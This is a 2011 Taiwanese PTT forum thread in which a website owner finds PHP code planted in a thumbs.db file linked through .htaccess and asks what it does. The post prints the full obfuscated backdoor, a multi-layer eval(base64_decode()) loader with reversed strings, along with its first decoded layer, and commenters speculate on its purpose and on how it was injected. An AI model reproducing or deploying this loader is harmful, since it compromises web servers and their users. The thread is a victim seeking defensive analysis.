作者kidbaby (幸福的進行式)
看板PHP
標題[請益] php 網站被植入密文 base64_decode
時間Sun Oct 2 23:05:00 2011
這陣子感覺網站很慢
研究了一下
發現了 不認識的檔案 .htaccess 聯結了 thumbs.db
裡頭竟然不是我想像中的圖片?
而是base64加密的密文
<?php
@eval(base64_decode("aWYgKCRldmFsYnNmcm1iR3ZaWERGICE9IDU1NjkzKSB7ZnVuY3Rpb24gZXZhbHFLcVFJWmpRbXZIKCRzKXtmb3IgKCRhID0gMDsgJGEgPD0gc3RybGVuKCRzKS0xOyAkYSsrICl7JGUgLj0gJHN7c3RybGVuKCRzKS0kYS0xfTt9cmV0dXJuKCRlKTt9ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9c1RLd2d5WnVsR2R5OUdjbEozWHk5bWN5VkdRIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9QVNmN2tTVFVOSFpDVm1hR3hrVGl4MlFzRm1kbFJDS2xSMmJqVkdaZlJqTmxOWFlpQmlieVZIZGxKM2Vna1NUVU5IWkNWbWFHeGtUaXgyUXNGbWRsUkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnNDJicFIzWXVWbloiK
GVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5VWtNWkpDSzFsWFNsTlhUQmxXU0tORmJoWlhaZzBESTNaWFVCWm5VSlYwZDBoMmNNeG1RbXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5MEVTa2htVXpNbUlvVVhlSlYyY05GVWFKcDBVc0ZtZGwxelREZG5ZR2hIWjFkR1ZDVkhSaXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09wSVNQOUUwWXdJRlNoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFo5NFVaVkZXUjFwbFpPVjBZTXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW1
2SCgnOykpIj1zVEtpMEROWEZtSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDFqVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiPXNUS2kwVFBSbGtka2RWU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZXUGh4a1p4ZDJaaEJGYTZkSFZ3UkdTUHhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazBUZFlwM1lKVlVlUWRWUUZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI3a1NLa
TBUUG5OR2I0MVdXMFpVYlZKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWmd3U0tpUWpWSHBWZEdkMVZpZ1NkNWxVWnoxVVFwbGtTVHhXWTJWR0lza2lJOWtFV2FKRGJIRm1hS2hWV21aMFZoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnd1NLaUFUT3RGMVRPWkZWaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdJc2tpSTlFa2JqRkRleVVsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbEJDTHBJQ2I0SmpXMmxqTVNKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWm9rWFl5SlhZZzBESXlwMmRJeFVheWwwVkNwMFN0eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2NuZFJGa2RTbFVSM1JIYXp4RWJDWkdiaFpYWmswakxXOTBRdFptVVRWa1JoWkVhSU5VWXN
wSGJoWlhaa0FTS2dzeUtwUkNJN2tESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2tTS2kwVFBSWjJOcmwzWXJkV2VqQlROWHBGTTFJallxbGpSa3hHWnlnRmI0ZFZZdEpVUkpWblNZUkdNVzEyWTNJMFVMcG5VRHQwVFdoMVlWQkhNWmhtUkdkbFJzQmpZUmx6UmlobVdZcDFaMElqWXdKMU1aVm5WdXBsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdjbmRSRmtkU2xVUjNSSGF6eEViQ1pHYmhaWFprNGlJdUlTUHVBaVZQTlVibUoxVUZaVVlHaEdTREZHYjZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiK
GxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9PVFmOXRqYVh4MGNRSjBTNXhXVHNGbWRsUkNJdmgyWWx0VFh4c2xhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k5QWlhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k3a2lhWHgwY1FKMFM1eFdUc0ZtZGxSQ0xoeGtaeGQyWmhCRmE2ZEhWd1JHU1B4V1kyVkdKb1VHWnZ4R2M0VkdJOUFpYVh4MGNRSjBTNXhXVHNGbWRsUnllcGtTWU1aV2NuZFdZUWhtZTNSRmNraDBUc0ZtZGxSQ0xxZEZUekJsUUxsSGJOeFdZMlZHSm9JSGR6SkhkemhDSW1sMk9wa1NYcElTVk9GRFZKbGpSVlZsVUdObElvVVhlSlYyY05GVWFKcDBVc0ZtZGx0bFVGWmxVRk4xWGtnU1prOTJZdVZHYnlWbkxwSVNPbjFtU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBVSFc
2TldTRmxIVVhGVVJzRm1kbFJDS2xSMmJqNVdac0pYZHVraUk1a1ViS0pDSzFsWFNsTlhUQmxXU0tORmJoWlhadTBWS2kwVFNHSlZSR0JEV0dKVk1VNWtWclZsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazRTS2kwRE1VRm1Jb1VYZUpWMmNORlVhSnAwVXNGbWRsNVNLaTBET0VObUlvVVhlSlYyY05GVWFKcDBVc0ZtZGw1U0tpOG1RdXhrSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDVpVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSnVraUk5MHpkTUpDSzFsWFNsTlhUQmxXU0tORmJoWlhadVkxVEQxbVpTTlZSR0ZtUm9oMFFoeG1lc0ZtZGxSaUxwSVNQNGtIVGlnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBJU1A5YzJUaWdTZDVsVVp6MVVRcGxrU1R4V1kyVm1MT1ZXVmhWV
WRhWm1URk5HVHNGbWRsUkNLT1ZYY1VwMFloRkZXRmwwYlE5R2JoWlhaZzBESXFkRlR6QmxRTGxIYk54V1kyVkdKZ3NUS3dBRE93RXpLcGdTWnRsR2Rza1NLaTBUVElSR2FTTnpZaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdLMVFXYnM4MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSQ0tsbDJhdjkyWTBWMmNBQnllZ1UyY3NWR0k5dEhJcGtTS2Q5MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSeVdGbDBTUDkwUWZSQ0swVjJjemxHS2dJM2Jna1NLMWhsZWpsVVI1QjFWQlZFYmhaWFprQUNMaWsyTGlBaUxna2ljcWRIU01sbWNKZGxRS3RVYnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbGJzZnJ
tYkd2WlhERiA9NTU2OTM7fQ=="));
?>
有網站可以解碼
http://www.tools4noobs.com/online_php_functions/base64_decode/
不過解完好像還有一層
小弟看不懂
請問有哪位高手可以解釋他藏了什麼....感恩
直接po上解碼後的程式碼
if ($evalbsfrmbGvZXDF != 55693)
{function evalqKqQIZjQmvH($s){for ($a = 0; $a
<= strlen($s)-1; $a++ ){$e .=
$s{strlen($s)-$a-1};}return($e);}
eval(evalqKqQIZjQmvH(';))"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"=ASf7kSTUNHZCVmaGxkTix2QsFmdlRCKlR2bjVGZfRjNl
NXYiBibyVHdlJ3egkSTUNHZCVmaGxkTix2QsFmdlRCK1lXSlNXTBlWSKNFbhZXZg42bpR3YuVnZ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7kiI9UkMZJCK1lXSlNXTBlWSKNFbhZXZg0DI3ZXUBZnUJ
V0d0h2cMxmQmxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7kiI90ESkhmUzMmIoUXeJV2cNFUaJp0UsFmdl1zTDd
nYGhHZ1dGVCVHRixWY2VGJ"(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"==wOpISP9E0YwIFShJCK1lXSlNXTBlWSKNFbhZXZ94UZ
VFWR1plZOV0YMxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"=sTKi0DNXFmIoUXeJV2cNFUaJp0UsFmd
l1jV5d0Y0p3SjZ0QH1GUWxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"=sTKi0TPRlkdkdVSigSd5lUZz1UQplkSTxWY
2VWPhxkZxd2ZhBFa6dHVwRGSPxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoUXe
JV2cNFUaJp0UsFmdltlUFZlUFN1Xk0TdYp3YJVUeQdVQFxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7kSKi0TPnNGb41WW0ZUbVJCK1lXSlNXTBlWSKNFbhZXZ
gwSKiQjVHpVdGd1VigSd5lUZz1UQplkSTxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCK1
lXSlNXTBlWSKNFbhZXZgwSKiATOtF1TOZFVigSd5lUZz1UQplkSTxWY2VGIskiI9EkbjF
DeyUlIoUXeJV2cNFUaJp0UsFmdlBCLpICb4JjW2ljMSJCK1lXSlNXTBlWSKNFbhZXZokX
YyJXYg0DIyp2dIxUayl0VCp0StxWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7cndRFkdSlUR3RHazxEbCZGbhZXZk0jLW90QtZmUTVk
RhZEaINUYspHbhZXZkASKgsyKpRCI7kDI9wDIpRCI7ADI9ASakgCIy9mZ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpF
M1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDt0TWh1YVBHMZhmRGdlRsBjY
RlzRihmWYp1Z0IjYwJ1MZVnVuplIoUXeJV2cNFUaJp0UsFmdlhCbhZXZ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"7cndRFkdSlUR3RHazxEbCZGbhZXZk4iIuISPuA
iVPNUbmJ1UFZUYGhGSDFGb6xWY2VGJ"
(edoced_46esab(lave'));
eval(evalqKqQIZjQmvH(';))"==Qf9tjaXx0cQJ0S5xWTsFmdlRCIvh2YltTXxs
laXx0cQJ0S5xWTsFmdlRCI9AiaXx0cQJ0S5xWTsFmdlRCI7kiaXx0cQJ0S5xWTsF
mdlRCLhxkZxd2ZhBFa6dHVwRGSPxWY2VGJoUGZvxGc4VGI9AiaXx0cQJ0S5xWTsF
mdlRyepkSYMZWcndWYQhme3RFckh0TsFmdlRCLqdFTzBlQLlHbN
xWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIoUXeJV2cNFUaJp0Us
FmdltlUFZlUFN1XkgSZk92YuVGbyVnLpISOn1mSigSd5lUZz1UQplkSTxWY2VmLp
UHW6NWSFlHUXFURsFmdlRCKlR2bj5WZsJXdukiI5kUbKJCK1lXSlNXTBlWSKNFbh
ZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoUXeJV2cNFUaJp0UsFmdltlUFZlUFN1Xk
4SKi0DMUFmIoUXeJV2cNFUaJp0UsFmdl5SKi0DOENmIoUXeJV2cNFUaJp0UsFmdl
5SKi8mQuxkIoUXeJV2cNFUaJp0UsFmdl5iV5d0Y0p3SjZ0QH1GUWxWY2VGJukiI9
0zdMJCK1lXSlNXTBlWSKNFbhZXZuY1TD1mZSNVRGFmRoh0QhxmesFmdlRiLpISP4
kHTigSd5lUZz1UQplkSTxWY2VmLpISP9c2TigSd5lUZz1UQplkSTxWY2VmLOVW
VhVUdaZmTFNGTsFmdlRCKOVXcUp0YhFFWFl0bQ9GbhZXZg0DIqdFTzBlQLlHbNxW
Y2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSd5lUZz1UQplkSTxWY2VG
K1QWbs80Q3JmR4RWdnRlQ1RkYsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkS
Kd90Q3JmR4RWdnRlQ1RkYsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSK1hlejlU
R5B1VBVEbhZXZkACLik2LiAiLgkicqdHSMlmcJdlQKtUbsFmdlRCIsICfigSZk9G
bw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
$evalbsfrmbGvZXDF
=55693;}
--
<囧>" 打擊~
■
ㄥㄥ
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 114.32.247.164
1F：推 mattttt:這種因該沒有人敢直接解巴....，除非有虛擬機... 10/02 23:18
2F：→ kidbaby:從網頁上就能看到解後的程式碼 可惜還有另外一層的密文 10/02 23:23
※ 編輯: kidbaby 來自: 114.32.247.164 (10/02 23:34)
3F：→ gname:關鍵字: edoced_46esab 10/03 00:01
5F：→ kidbaby: 可惜 我還是看不懂他在幹什麼 = = 10/03 01:14
6F：推 thank9527:好恐怖 =.= 10/03 11:18
7F：推 mervynW:抓你server的file 10/03 11:44
8F：→ davidou:他是怎樣才把檔案丟進去SERVER 的阿 10/03 13:02
9F：→ bibo9901:同意樓上... 更該在意的是怎麼植入的 10/03 14:18
10F：推 mervynW:原po要不要把你網站放出來給大家看一下. 10/03 14:47
11F：推 kingoface:thumbs.db塞php語法也能直接執行嗎?該檔案不是只有縮圖 10/04 14:40
12F：→ kingoface:才使用到的檔案喔? 10/04 14:41
13F：→ kidbaby: 我也是這樣以為 可惜不是 我下一篇文章有檔案可抓 10/04 15:45
14F：推 liaosankai:如果沒記錯，這個是XSS攻擊@_@ 10/04 15:56
15F：→ liaosankai:XD，如果上面猜錯請糾正 10/04 15:58
16F：→ mervynW:一切要看你設定, 我也可以設 .jpg 要進php編譯器 10/04 16:14
17F：→ mervynW:跟 XSS 沒關 10/04 16:14
18F：推 kingoface:突然想到db檔怎麼打開阿? 10/04 16:53
19F：推 kingoface:查了一下好像要下載特定軟體打開耶? 10/04 16:57
20F：→ kidbaby: 隨便一個 editor都可以 例如notepad記事本 10/04 17:55